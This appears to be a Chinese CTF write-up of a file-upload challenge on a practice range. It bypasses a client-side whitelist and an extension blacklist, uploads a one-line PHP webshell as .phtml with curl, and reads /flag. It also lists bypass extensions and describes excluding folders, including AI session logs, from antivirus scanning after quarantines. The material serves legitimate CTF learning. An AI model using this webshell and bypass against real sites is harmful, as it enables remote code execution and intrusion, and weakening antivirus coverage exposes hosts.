2026-09-24 通关。目标站:云演靶场 <随机子域>.clsadp.com 环境指纹:Ubuntu 14.04 + Apache 2.4.7 + PHP 5.5.9,跑在 docker 里(有 /.dockerenv) 一句话:前端 JS 白名单是假象、服务端不校验内容、黑名单只拦 php|php3|php4|php5 → 传 .phtml 直接 RCE,flag 在 /flag。


0. 全局思路图

根路径(装饰页 SVG 不动摇)
  → 读前端 js/main.js         ← 发现「白名单 + checkFile() 永远返回 undefined = 表单提交不了」
  → 判定:校验在前端 = 假象   ← 唯一出路是绕过浏览器,用 curl/Burp 直接 POST
  → 试探 ①:图片马(PNG+PHP 拼接) ← 死路!服务端不查内容,白做
  → 试探 ②:改后缀              ← 真考点:黑名单枚举
       拦:php php3 php4 php5
       放:phtml pht phps phar 大写 PHP
  → .phtml 上传成功 → 响应回显 ./uplo4d/<md5>.phtml
  → 访问 + ?key=id → RCE(www-data) → cat /flag

1. 信息收集:先确认"校验在哪一层"

根路径只有一张写着「你有解题思路了嘛?」的 SVG 装饰页 —— 纯干扰项,别被唬住;表单 POST 到 / 自身(不是 /upload.php 之类)。

看前端 js/main.js,只有 .jpg|.png|.gif 白名单。关键细节:checkFile() 校验通过时返回 undefined,返回 falsy 意味着表单的提交事件被拦住 —— 也就是说用浏览器正常操作根本提交不出去。

这一条把整题的性质定死了:校验只在前端。前端的任何限制都等价于没有限制,唯一的动作是"别走浏览器"。

2. 死路预警:图片马在这题是多余动作

第一反应通常是"前端只让传图片 → 那就做图片马(GIF89a 头 / PNG+PHP 拼接 / copy /b a.png+b.php)"。这题不需要,做了也白做。

因为服务端完全不校验文件内容:getimagesize()、文件头、内容特征,一个都没查。一个纯文本的 PHP 文件命名成 x.png 也照收。

判据:只有在服务端真的用 getimagesize/exif_imagetype/文件头校验内容时,才需要图片马。判断方法是先随便传一个"纯文本的 .png"试试 —— 收了就说明内容校验不存在,图片马从选项里划掉。这一题白白消耗时间就消耗在这里。

3. 真考点:黑名单后缀枚举

服务端只做后缀黑名单,拦 php / php3 / php4 / php5。然后就是枚举同义后缀:

后缀 结果
.phtml ✅ 会执行 → 用的就是它
.pht ✅ 放行(等价可执行)
.phar ✅ 放行
.PHP(大写) ✅ 放行(黑名单没做大小写归一)
.phps ⚠️ 放行但只回显源码(走 source handler,拿不到 shell)

为什么 .phtml 会执行:Ubuntu 的 apache php5.conf 用的是

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php

t 和 tml 都在这个正则里,所以 .phtml 被交给 PHP handler 执行。反过来 .phps 匹配的是 application/x-httpd-php-source,只高亮源码不执行 —— 能读源码,但没有 RCE。

这条".phtml 为什么能解析"就是环境指纹的价值:Ubuntu/Debian 系 + mod_php5 才有这个 <FilesMatch> 写法。指纹一确认,后缀选择当场就定了,不用一个个盲试。

4. 利用:绕过浏览器直接 POST

前端限制的唯一解法 —— curl(Burp 同理,抓包改 filename 再放行):

# 一句话马: <?php @system($_GET['key']);?>
curl -F "upload_file=@sh.phtml;filename=img.phtml" http://<子域>/

要点: - 表单字段名必须是 upload_file(从前端 HTML/JS 里读出来的),字段名错服务端收不到文件。 - filename= 显式指定后缀,否则 curl 会按本地文件名 sh.phtml 用(这里恰好一样;本地文件叫别的名字时这行是必须的)。

响应里直接给 URL:

Upload Success! Look here~ ./uplo4d/<md5>.phtml

上传后的文件名被重命名为 <md5>.<后缀>,但后缀保留 —— 所以 .phtml 的可执行性不会丢。URL 不用猜,从响应体里抄。

curl "http://<子域>/uplo4d/<hash>.phtml?key=id"      # 回显 uid=33(www-data)
curl "http://<子域>/uplo4d/<hash>.phtml?key=cat+/flag"  # flag 在 /flag

权限 www-data,不需要提权。


5. 复盘:这题教了什么

  1. 先定位校验层,再想绕过。前端校验 = 无校验,动作是"换工具发请求",不是"构造畸形文件"。
  2. 不要条件反射做图片马。内容校验不存在时它 100% 是浪费时间。先传一个假图片探路。
  3. 黑名单枚举是标准动作:php/php3/php4/php5 被拦时,phtml/pht/phps/phar/大写 是固定清单;.phps 只能读源码,别指望它给 shell。
  4. 环境指纹决定绕过选型:php5.conf 的 <FilesMatch> 写法 → 类 Debian 系 → .phtml 能跑。
  5. 文件名会重命名但保留后缀 —— 重命名不影响利用,URL 一定在响应里。

6. 附带教训:别让工具和记录留在被实时扫描的目录

这题顺手下了菜刀 / antSword,并留了明文 payload 与 Claude 会话记录,结果触发 Defender 连续隔离:

  • 菜刀 → Backdoor:PHP/Chopper.B!dha、Backdoor:JS/Chopper.GG!dha
  • Claude 的明文 jsonl 会话记录(含 PHP 马内容)→ Backdoor:PHP/Remoteshell.E/.C,且因文件被独占锁而反复重试、报警刷屏

处理:排除 D:\CTF、C:\Users\zxh15\.claude\projects、C:\Users\zxh15\Desktop\001,并删掉桌面 payload。 结论:靶场里能用 curl 就别拉 webshell 工具;payload 别丢桌面;会话记录被安全软件隔离不是"文件坏了"。


相关记忆:yunyan-lab-bruteforce-captcha-bypass(同站登录爆破题)、clsadp-captcha-ocr-and-bak-leak(同站 check.php.bak 源码泄露 + 验证码 OCR)